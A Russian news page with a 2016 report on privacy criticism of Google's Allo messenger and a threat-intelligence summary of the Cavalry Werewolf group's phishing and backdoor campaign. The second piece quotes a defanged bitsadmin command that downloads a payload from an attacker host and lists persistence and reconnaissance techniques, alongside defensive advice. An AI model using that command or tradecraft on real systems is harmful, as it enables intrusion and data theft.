Google представила мессенджер Allo с end-to-end шифрованием

Google представила мессенджер Allo с end-to-end шифрованием

В минувшую среду, 18 мая 2016 года, состоялась конференция Google I/O 2016, в ходе которой компания Google более детально рассказала о грядущей Android N, представила платформу виртуальной реальности Daydream, показала вторую версию Android Wear ОС и так далее.

Также среди анонсов фигурировали сразу два новых мессенджера, одним из которых стал Google Allo, со встроенным end-to-end шифрованием. Хотя ИБ-эксперты, в теории, должны были порадоваться появлению еще одного защищенного приложения, на деле все оказалось не так просто, и Allo уже подвергся критике. Проблема, в частности, заключается в еще одной инновации Google:  умном голосовом ассистенте Google Assistant, который встроен в мессенджер Allo.

Тогда как первые публикации о Google Allo носили исключительно положительный характер, спустя пару часов после анонса в сети начали появляться и другие мнения. Так, издание Vice Motherboard опубликовало материал, озаглавленный «Не пользуйтесь Allo», в котором журналисты попытались привлечь внимание аудитории к некоторым особенностям приложения.

В целом, мессенджер для iOS и Android с end-to-end шифрованием  – это хорошо. Теперь у Google есть собственное решение, которое можно противопоставить iMessage, Facebook Messenger и WhatsApp. Однако далеко не все СМИ упомянули о том, что end-to-end шифрование в Allo не включено по умолчанию. Шифрование предлагается пользователю как опция, то есть можно включить для чата «Режим инкогнито». Журналисты Motherboard предлагают подумать – большой ли процент пользователей действительно захочет воспользоваться данной опцией? Здесь можно провести параллель с «Режимом инкогнито» в Chrome, — часто ли пользователи активируют его? Многие ли отключают историю местоположений в Google Maps? Ответы на эти вопросы вполне очевидны, передает xakep.ru.

 

Также журналисты цитируют слова нескольких исследователей, которые мрачно шутят о том, что ФБР будет очень довольно релизом Allo. Как раз недавно ФБР перестало требовать от компаний, чтобы те добавляли бекдоры в свои продукты, и перешло к более разумной тактике: теперь правоохранители просят просто не включать шифрование по умолчанию.

 

Однако помимо опционального шифрования сообщений, остается еще помощник Google Assistant. Этот продукт призван составить конкуренцию Siri и не только. В отличие от Google Now, новый ассистент умеет распознавать вопросы на обычном языке и способен вести диалог с пользователем. Помимо интеграции с мессенджером Allo, Google Assistant также будет работать с домашним устройством Google Home – своеобразным аналогом Amazon Echo, а в будущем его планируют использовать в умных домах, телевизорах и даже автомобилях.

Почему интеграция Google Assistant с мессенджером видится многим не слишком хорошей идеей? Потому что, в отличие от бота в Facebook Messenger, помощник Google будет буквально читать все сообщения пользователей, а не реагировать на конкретные запросы. Дело в том, что Google Assistant, к примеру, должен реагировать на различные желания пользователей. Пользователь пишет кому-то «хочу в кино»? Ассистент предложит билеты в ближайший кинотеатр. Пользователь пишет, что неплохо было бы выпить кофе во вторник? Помощник порекомендует конкретные кофейни. Все это, конечно, должно принести пользователям только дополнительное удобство, а компаниям-партнерам Google – прибыли. Но фактически для этого нужно разрешить Google майнить данные в собственной личной переписке. 

Еще одна особенность Allo — Smart Reply. Ассистент может в буквальном смысле отвечать на сообщения за пользователя. Так как приложение будет использовать методы машинного обучения, ему будет достаточно какое-то время понаблюдать за тем, как пользователь общается с разными контактами, и вскоре оно сможет самостоятельно предлагать варианты быстрых ответов. Кто-то пишет пользователю «пошли в кино?», — помощник тут же предложит варианты ответа, вроде «конечно!» или «сегодня я занят». Google Assistant даже постарается подстроиться к стилю, в котором пользователь обычно общается с данным контактом. Более того, ассистент будет распознавать содержимое изображений и сам сможет прокомментировать смешную картинку или умилиться фотографии кота. 

Подводя итог, журналисты Motherboard пишут, что они вовсе не призывают считать Google или Allo злом. Они лишь призывают пользователей помнить о том, что подобные приложения, это еще один шанс для Google узнать обо всех нас всю подноготную. По сути, пользователям предложен простой выбор: можно использовать все эти бесспорно удобные и крутые новшества, но забыть о приватности и безопасности, или можно отключить их и получить заурядное, но относительно защищенное приложение. Правда во втором случае не совсем понятно, зачем пользоваться именно Allo, когда на рынке давно представлены более надежные в отношении защиты данных мессенджеры.

Между тем, инженеры Google заверили, что появление Allo и приложения для видеозвонков Duo никак не отразится на поддержке и разработке мессенджера Hangouts, он тоже продолжит существовать.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru